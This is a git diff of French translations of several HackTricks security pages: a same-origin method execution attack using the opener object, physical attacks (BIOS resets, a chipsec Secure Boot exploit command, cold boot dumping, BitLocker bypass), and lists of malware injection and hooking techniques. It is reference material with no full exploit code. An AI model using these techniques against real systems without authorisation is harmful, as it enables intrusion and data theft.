Il y aura des occasions où vous pourrez exécuter un javascript limité sur une page. Par exemple, dans le cas où vous pouvez [**contrôler une valeur de rappel qui sera exécutée**](./#javascript-function).
|
Il y aura des occasions où vous pouvez exécuter un javascript limité sur une page. Par exemple, dans le cas où vous pouvez [**contrôler une valeur de rappel qui sera exécutée**](./#javascript-function).
|
||||||
|
|
||||||
Dans ces cas, l'une des meilleures choses que vous pourriez faire est de **accéder au DOM pour appeler n'importe quelle** action sensible que vous pouvez trouver là-dedans (comme cliquer sur un bouton). Cependant, vous trouverez généralement cette vulnérabilité dans **de petits points de terminaison sans rien d'intéressant dans le DOM**.
|
Dans ces cas, l'une des meilleures choses que vous pourriez faire est de **accéder au DOM pour appeler n'importe quelle** action sensible que vous pouvez trouver là-dedans (comme cliquer sur un bouton). Cependant, vous trouverez généralement cette vulnérabilité dans **de petits points de terminaison sans rien d'intéressant dans le DOM**.
|
||||||
|
|
||||||
|
@ -42,12 +28,12 @@ Fondamentalement, le flux d'attaque est le suivant :
|
||||||
* Trouvez un **rappel que vous pouvez abuser** (potentiellement limité à \[\w\\.\_]).
|
* Trouvez un **rappel que vous pouvez abuser** (potentiellement limité à \[\w\\.\_]).
|
||||||
* S'il n'est pas limité et que vous pouvez exécuter n'importe quel JS, vous pourriez simplement en abuser comme un XSS régulier.
|
* S'il n'est pas limité et que vous pouvez exécuter n'importe quel JS, vous pourriez simplement en abuser comme un XSS régulier.
|
||||||
* Faites en sorte que la **victime ouvre une page** contrôlée par l'**attaquant**.
|
* Faites en sorte que la **victime ouvre une page** contrôlée par l'**attaquant**.
|
||||||
* La **page s'ouvrira** dans une **fenêtre différente** (la nouvelle fenêtre aura l'objet **`opener`** référant à la première).
|
* La **page s'ouvrira elle-même** dans une **fenêtre différente** (la nouvelle fenêtre aura l'objet **`opener`** référant à la première).
|
||||||
* La **page initiale** chargera la **page** où se trouve le **DOM intéressant**.
|
* La **page initiale** chargera la **page** où se trouve le **DOM intéressant**.
|
||||||
* La **deuxième page** chargera la **page vulnérable en abusant du rappel** et en utilisant l'objet **`opener`** pour **accéder et exécuter une action dans la page initiale** (qui contient maintenant le DOM intéressant).
|
* La **deuxième page** chargera la **page vulnérable en abusant du rappel** et en utilisant l'objet **`opener`** pour **accéder et exécuter une action dans la page initiale** (qui contient maintenant le DOM intéressant).
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Notez que même si la page initiale accède à une nouvelle URL après avoir créé la deuxième page, l'**objet opener de la deuxième page est toujours une référence valide à la première page dans le nouveau DOM**.
|
Notez que même si la page initiale accède à une nouvelle URL après avoir créé la deuxième page, l'**objet `opener` de la deuxième page est toujours une référence valide à la première page dans le nouveau DOM**.
|
||||||
|
|
||||||
De plus, pour que la deuxième page puisse utiliser l'objet opener, **les deux pages doivent être de la même origine**. C'est la raison pour laquelle, afin d'abuser de cette vulnérabilité, vous devez trouver une sorte de **XSS dans la même origine**.
|
De plus, pour que la deuxième page puisse utiliser l'objet opener, **les deux pages doivent être de la même origine**. C'est la raison pour laquelle, afin d'abuser de cette vulnérabilité, vous devez trouver une sorte de **XSS dans la même origine**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -55,13 +41,13 @@ De plus, pour que la deuxième page puisse utiliser l'objet opener, **les deux p
|
||||||
### Exploitation
|
### Exploitation
|
||||||
|
|
||||||
* Vous pouvez utiliser ce formulaire pour **générer un PoC** pour exploiter ce type de vulnérabilité : [https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator)
|
* Vous pouvez utiliser ce formulaire pour **générer un PoC** pour exploiter ce type de vulnérabilité : [https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator)
|
||||||
* Pour trouver un chemin DOM vers un élément HTML avec un clic, vous pouvez utiliser cette extension de navigateur : [https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool)
|
* Afin de trouver un chemin DOM vers un élément HTML avec un clic, vous pouvez utiliser cette extension de navigateur : [https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool)
|
||||||
|
|
||||||
### Exemple
|
### Exemple
|
||||||
|
|
||||||
* Vous pouvez trouver un exemple vulnérable à [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/)
|
* Vous pouvez trouver un exemple vulnérable sur [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/)
|
||||||
* Notez que dans cet exemple, le serveur **génère du code javascript** et **l'ajoute** à l'HTML en fonction du **contenu du paramètre de rappel :** `<script>opener.{callbacl_content}</script>`. C'est pourquoi dans cet exemple, vous n'avez pas besoin d'indiquer l'utilisation de `opener` explicitement.
|
* Notez que dans cet exemple, le serveur **génère du code javascript** et **l'ajoute** à l'HTML en fonction du **contenu du paramètre de rappel :** `<script>opener.{callbacl_content}</script>`. C'est pourquoi dans cet exemple, vous n'avez pas besoin d'indiquer l'utilisation de `opener` explicitement.
|
||||||
* Consultez également ce compte-rendu CTF : [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
|
* Consultez également ce compte rendu CTF : [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
|
||||||
|
|
||||||
## Références
|
## Références
|
||||||
|
|
||||||
|
@ -73,7 +59,7 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Supportez HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# Attaques Physiques
|
# Attaques Physiques
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -10,25 +10,11 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares volants d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Récupération de Mot de Passe BIOS et Sécurité Système
|
## Récupération de Mot de Passe BIOS et Sécurité Système
|
||||||
|
|
||||||
**Réinitialiser le BIOS** peut être réalisé de plusieurs manières. La plupart des cartes mères incluent une **batterie** qui, lorsqu'elle est retirée pendant environ **30 minutes**, réinitialisera les paramètres du BIOS, y compris le mot de passe. Alternativement, un **jumper sur la carte mère** peut être ajusté pour réinitialiser ces paramètres en connectant des broches spécifiques.
|
**Réinitialiser le BIOS** peut être réalisé de plusieurs manières. La plupart des cartes mères incluent une **batterie** qui, lorsqu'elle est retirée pendant environ **30 minutes**, réinitialisera les paramètres du BIOS, y compris le mot de passe. Alternativement, un **jumper sur la carte mère** peut être ajusté pour réinitialiser ces paramètres en connectant des broches spécifiques.
|
||||||
|
@ -43,7 +29,7 @@ Pour les systèmes modernes utilisant **UEFI** au lieu du BIOS traditionnel, l'o
|
||||||
|
|
||||||
`python chipsec_main.py -module exploits.secure.boot.pk`
|
`python chipsec_main.py -module exploits.secure.boot.pk`
|
||||||
|
|
||||||
### Analyse de RAM et Attaques Cold Boot
|
### Analyse de RAM et Attaques de Cold Boot
|
||||||
|
|
||||||
La RAM conserve des données brièvement après la coupure de l'alimentation, généralement pendant **1 à 2 minutes**. Cette persistance peut être prolongée jusqu'à **10 minutes** en appliquant des substances froides, comme de l'azote liquide. Pendant cette période prolongée, un **dump mémoire** peut être créé à l'aide d'outils comme **dd.exe** et **volatility** pour analyse.
|
La RAM conserve des données brièvement après la coupure de l'alimentation, généralement pendant **1 à 2 minutes**. Cette persistance peut être prolongée jusqu'à **10 minutes** en appliquant des substances froides, comme de l'azote liquide. Pendant cette période prolongée, un **dump mémoire** peut être créé à l'aide d'outils comme **dd.exe** et **volatility** pour analyse.
|
||||||
|
|
||||||
|
@ -79,23 +65,11 @@ Le chiffrement BitLocker peut potentiellement être contourné si le **mot de pa
|
||||||
|
|
||||||
### Ingénierie Sociale pour l'Ajout de Clé de Récupération
|
### Ingénierie Sociale pour l'Ajout de Clé de Récupération
|
||||||
|
|
||||||
Une nouvelle clé de récupération BitLocker peut être ajoutée par le biais de tactiques d'ingénierie sociale, convainquant un utilisateur d'exécuter une commande qui ajoute une nouvelle clé de récupération composée de zéros, simplifiant ainsi le processus de déchiffrement.
|
Une nouvelle clé de récupération BitLocker peut être ajoutée par des tactiques d'ingénierie sociale, convainquant un utilisateur d'exécuter une commande qui ajoute une nouvelle clé de récupération composée de zéros, simplifiant ainsi le processus de déchiffrement.
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares volants d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -103,7 +77,7 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -9,20 +9,12 @@ Apprenez et pratiquez le piratage GCP : <img src="/.gitbook/assets/grte.png" alt
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de piratage en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Générique
|
## Générique
|
||||||
|
|
||||||
### Réseautage
|
### Réseautage
|
||||||
|
@ -62,7 +54,7 @@ Apprenez et pratiquez le piratage GCP : <img src="/.gitbook/assets/grte.png" alt
|
||||||
### Anti-analyse/VM
|
### Anti-analyse/VM
|
||||||
|
|
||||||
| Nom de la fonction | Instructions d'assemblage |
|
| Nom de la fonction | Instructions d'assemblage |
|
||||||
| ------------------------------------------------------------- | -------------------------- |
|
| --------------------------------------------------------- | -------------------------- |
|
||||||
| IsDebuggerPresent() | CPUID() |
|
| IsDebuggerPresent() | CPUID() |
|
||||||
| GetSystemInfo() | IN() |
|
| GetSystemInfo() | IN() |
|
||||||
| GlobalMemoryStatusEx() | |
|
| GlobalMemoryStatusEx() | |
|
||||||
|
@ -70,7 +62,7 @@ Apprenez et pratiquez le piratage GCP : <img src="/.gitbook/assets/grte.png" alt
|
||||||
| CreateToolhelp32Snapshot \[Vérifiez si un processus est en cours d'exécution] | |
|
| CreateToolhelp32Snapshot \[Vérifiez si un processus est en cours d'exécution] | |
|
||||||
| CreateFileW/A \[Vérifiez si un fichier existe] | |
|
| CreateFileW/A \[Vérifiez si un fichier existe] | |
|
||||||
|
|
||||||
### Furtivité
|
### Discrétion
|
||||||
|
|
||||||
| Nom | |
|
| Nom | |
|
||||||
| ------------------------ | -------------------------------------------------------------------------- |
|
| ------------------------ | -------------------------------------------------------------------------- |
|
||||||
|
@ -87,7 +79,7 @@ Apprenez et pratiquez le piratage GCP : <img src="/.gitbook/assets/grte.png" alt
|
||||||
### Exécution
|
### Exécution
|
||||||
|
|
||||||
| Nom de la fonction |
|
| Nom de la fonction |
|
||||||
| --------------------- |
|
| ---------------------- |
|
||||||
| CreateProcessA/W |
|
| CreateProcessA/W |
|
||||||
| ShellExecute |
|
| ShellExecute |
|
||||||
| WinExec |
|
| WinExec |
|
||||||
|
@ -115,7 +107,7 @@ Exécuter une DLL arbitraire à l'intérieur d'un autre processus
|
||||||
|
|
||||||
1. Localiser le processus pour injecter la DLL malveillante : CreateToolhelp32Snapshot, Process32First, Process32Next
|
1. Localiser le processus pour injecter la DLL malveillante : CreateToolhelp32Snapshot, Process32First, Process32Next
|
||||||
2. Ouvrir le processus : GetModuleHandle, GetProcAddress, OpenProcess
|
2. Ouvrir le processus : GetModuleHandle, GetProcAddress, OpenProcess
|
||||||
3. Écrire le chemin de la DLL à l'intérieur du processus : VirtualAllocEx, WriteProcessMemory
|
3. Écrire le chemin vers la DLL à l'intérieur du processus : VirtualAllocEx, WriteProcessMemory
|
||||||
4. Créer un thread dans le processus qui chargera la DLL malveillante : CreateRemoteThread, LoadLibrary
|
4. Créer un thread dans le processus qui chargera la DLL malveillante : CreateRemoteThread, LoadLibrary
|
||||||
|
|
||||||
Autres fonctions à utiliser : NTCreateThreadEx, RtlCreateUserThread
|
Autres fonctions à utiliser : NTCreateThreadEx, RtlCreateUserThread
|
||||||
|
@ -123,7 +115,7 @@ Autres fonctions à utiliser : NTCreateThreadEx, RtlCreateUserThread
|
||||||
### Injection de DLL réfléchissante
|
### Injection de DLL réfléchissante
|
||||||
|
|
||||||
Charger une DLL malveillante sans appeler les appels API Windows normaux.\
|
Charger une DLL malveillante sans appeler les appels API Windows normaux.\
|
||||||
La DLL est mappée à l'intérieur d'un processus, elle résoudra les adresses d'importation, corrigera les relocalisations et appellera la fonction DllMain.
|
La DLL est mappée à l'intérieur d'un processus, elle résoudra les adresses d'importation, corrigera les relocations et appellera la fonction DllMain.
|
||||||
|
|
||||||
### Détournement de thread
|
### Détournement de thread
|
||||||
|
|
||||||
|
@ -132,36 +124,30 @@ Trouver un thread d'un processus et le faire charger une DLL malveillante
|
||||||
1. Trouver un thread cible : CreateToolhelp32Snapshot, Thread32First, Thread32Next
|
1. Trouver un thread cible : CreateToolhelp32Snapshot, Thread32First, Thread32Next
|
||||||
2. Ouvrir le thread : OpenThread
|
2. Ouvrir le thread : OpenThread
|
||||||
3. Suspendre le thread : SuspendThread
|
3. Suspendre le thread : SuspendThread
|
||||||
4. Écrire le chemin de la DLL malveillante à l'intérieur du processus victime : VirtualAllocEx, WriteProcessMemory
|
4. Écrire le chemin vers la DLL malveillante à l'intérieur du processus de la victime : VirtualAllocEx, WriteProcessMemory
|
||||||
5. Reprendre le thread chargeant la bibliothèque : ResumeThread
|
5. Reprendre le thread chargeant la bibliothèque : ResumeThread
|
||||||
|
|
||||||
### Injection PE
|
### Injection PE
|
||||||
|
|
||||||
Injection d'exécution portable : L'exécutable sera écrit dans la mémoire du processus victime et sera exécuté à partir de là.
|
Injection d'exécution portable : L'exécutable sera écrit dans la mémoire du processus de la victime et sera exécuté à partir de là.
|
||||||
|
|
||||||
### Hollowing de processus
|
### Hollowing de processus
|
||||||
|
|
||||||
Le logiciel malveillant démappera le code légitime de la mémoire du processus et chargera un binaire malveillant
|
Le logiciel malveillant désallouera le code légitime de la mémoire du processus et chargera un binaire malveillant
|
||||||
|
|
||||||
1. Créer un nouveau processus : CreateProcess
|
1. Créer un nouveau processus : CreateProcess
|
||||||
2. Démapper la mémoire : ZwUnmapViewOfSection, NtUnmapViewOfSection
|
2. Désallouer la mémoire : ZwUnmapViewOfSection, NtUnmapViewOfSection
|
||||||
3. Écrire le binaire malveillant dans la mémoire du processus : VirtualAllocEc, WriteProcessMemory
|
3. Écrire le binaire malveillant dans la mémoire du processus : VirtualAllocEc, WriteProcessMemory
|
||||||
4. Définir le point d'entrée et exécuter : SetThreadContext, ResumeThread
|
4. Définir le point d'entrée et exécuter : SetThreadContext, ResumeThread
|
||||||
|
|
||||||
## Hooking
|
## Hooking
|
||||||
|
|
||||||
* La **SSDT** (**Table des descripteurs de services système**) pointe vers des fonctions du noyau (ntoskrnl.exe) ou un pilote GUI (win32k.sys) afin que les processus utilisateur puissent appeler ces fonctions.
|
* La **SSDT** (**Table des descripteurs de services système**) pointe vers des fonctions du noyau (ntoskrnl.exe) ou du pilote GUI (win32k.sys) afin que les processus utilisateur puissent appeler ces fonctions.
|
||||||
* Un rootkit peut modifier ces pointeurs vers des adresses qu'il contrôle
|
* Un rootkit peut modifier ces pointeurs vers des adresses qu'il contrôle.
|
||||||
* **IRP** (**Paquets de demande d'E/S**) transmettent des morceaux de données d'un composant à un autre. Presque tout dans le noyau utilise des IRP et chaque objet de périphérique a sa propre table de fonctions qui peut être hookée : DKOM (Manipulation directe d'objet noyau)
|
* **IRP** (**Paquets de demande d'E/S**) transmettent des morceaux de données d'un composant à un autre. Presque tout dans le noyau utilise des IRP et chaque objet de périphérique a sa propre table de fonctions qui peut être hookée : DKOM (Manipulation directe d'objet noyau).
|
||||||
* La **IAT** (**Table des adresses d'importation**) est utile pour résoudre les dépendances. Il est possible de hooker cette table afin de détourner le code qui sera appelé.
|
* La **IAT** (**Table des adresses d'importation**) est utile pour résoudre les dépendances. Il est possible de hooker cette table afin de détourner le code qui sera appelé.
|
||||||
* **EAT** (**Table des adresses d'exportation**) Hooks. Ces hooks peuvent être réalisés depuis **userland**. L'objectif est de hooker les fonctions exportées par les DLL.
|
* **EAT** (**Table des adresses d'exportation**) Hooks. Ces hooks peuvent être réalisés depuis **userland**. L'objectif est de hooker les fonctions exportées par les DLL.
|
||||||
* **Hooks en ligne** : Ce type est difficile à réaliser. Cela implique de modifier le code des fonctions elles-mêmes. Peut-être en mettant un saut au début de cela.
|
* **Hooks en ligne** : Ce type est difficile à réaliser. Cela implique de modifier le code des fonctions elles-mêmes. Peut-être en mettant un saut au début de celles-ci.
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le piratage AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le piratage AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -172,8 +158,8 @@ Apprenez et pratiquez le piratage GCP : <img src="/.gitbook/assets/grte.png" alt
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de piratage en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,28 +1,20 @@
|
||||||
# Outils de Reversing & Méthodes de Base
|
# Outils de Reversing & Méthodes de Base
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez & pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez & pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez & pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez & pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
